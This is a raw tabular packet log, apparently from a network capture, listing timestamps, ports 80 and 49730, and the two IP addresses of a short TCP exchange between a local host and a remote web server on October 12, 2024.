Oct 12, 2024 14:17:10.229506016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229509115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229509115 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229538918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229562044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229581118 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229587078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229619026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229648113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229665041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229667902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229696989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229722023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229727983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229741096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229759932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229784966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229789972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229804039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229824066 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229849100 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229868889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229871988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229903936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229918003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229948044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.229952097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229986906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.229995966 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230031967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230037928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230063915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230087996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230093956 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230107069 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230143070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230144978 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230190992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230204105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230222940 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230252028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230254889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230282068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230283976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230304003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230318069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230330944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230366945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230376005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230418921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230422020 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230468988 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230473995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230518103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230530977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230567932 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230571032 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230600119 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230628967 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230631113 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230654955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230662107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230684996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230710030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230711937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230742931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230767965 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230773926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230796099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230806112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230827093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230837107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230853081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230869055 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230885029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230916977 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230921030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230947971 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.230971098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.230978966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231007099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231026888 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231038094 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231059074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231072903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231090069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231110096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231132984 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231137037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231170893 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231182098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231201887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231228113 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231235027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231255054 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231266975 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231277943 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231298923 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231316090 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231347084 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231348038 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231380939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231417894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231440067 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231767893 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231801987 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231828928 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231832981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231844902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231863976 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231878042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231894970 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231909037 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231925964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231940031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231956959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.231981039 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.231988907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232017040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232019901 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232034922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232053995 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232079029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232085943 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232099056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232120991 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232144117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232155085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232178926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232187986 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232203007 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232218981 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232244968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232253075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232275009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232284069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232306004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232316017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232336044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232347012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232372046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232379913 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232402086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232412100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232434034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232444048 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232475042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232475042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232496977 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232506990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232520103 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232539892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232551098 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232572079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232584953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232601881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232625961 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232633114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232654095 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232664108 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232692003 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232696056 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232728004 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232728958 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232749939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232759953 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232784033 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232790947 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232805014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232821941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232845068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232850075 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232873917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232881069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232903004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232913017 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232935905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232943058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232964993 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.232975960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.232990980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.233007908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.233031034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.233041048 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.233057022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.233073950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.233088970 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.233123064 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.318556070 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.318602085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.318635941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.318667889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.318701029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.318732023 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.318766117 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.318798065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.318830013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.318840981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.318840981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.318840981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.318840981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.318840981 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.318862915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.318895102 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.318926096 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.318984985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319041014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319097996 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319144964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319175959 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319184065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319185019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319185019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319185019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319205046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319258928 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319264889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319264889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319264889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319292068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319297075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319322109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319341898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319348097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319375992 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319396019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319416046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319447041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319482088 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319497108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319530964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319536924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319564104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319603920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319612026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319645882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319660902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319665909 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319693089 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319721937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319725037 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319751978 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319756985 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319782019 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319788933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319823027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319827080 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319854021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319871902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319884062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319900990 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319926023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319951057 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.319960117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.319999933 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320005894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320035934 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320060968 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320067883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320090055 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320100069 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320112944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320144892 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320168018 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320199013 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320224047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320233107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320244074 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320324898 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320346117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320374966 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320388079 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320424080 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320427895 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320456028 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320478916 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320487022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320502043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320519924 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320544004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320552111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320573092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320583105 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320595026 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320626974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320650101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320658922 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320668936 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320692062 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320717096 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320724964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320739031 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320760012 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320782900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320791960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320813894 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320823908 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320832014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320854902 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320878983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320883036 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320897102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320914984 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320930004 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320945978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320961952 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.320979118 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.320995092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321012020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321024895 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321043015 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321058989 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321075916 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321089983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321108103 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321120024 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321140051 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321163893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321171045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321181059 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321257114 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321264029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321290016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321300983 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321324110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321332932 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321356058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321382999 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321388960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321403027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321422100 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:10.321432114 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:10.321455002 CEST	80	49730	178.63.215.77	192.168.2.4
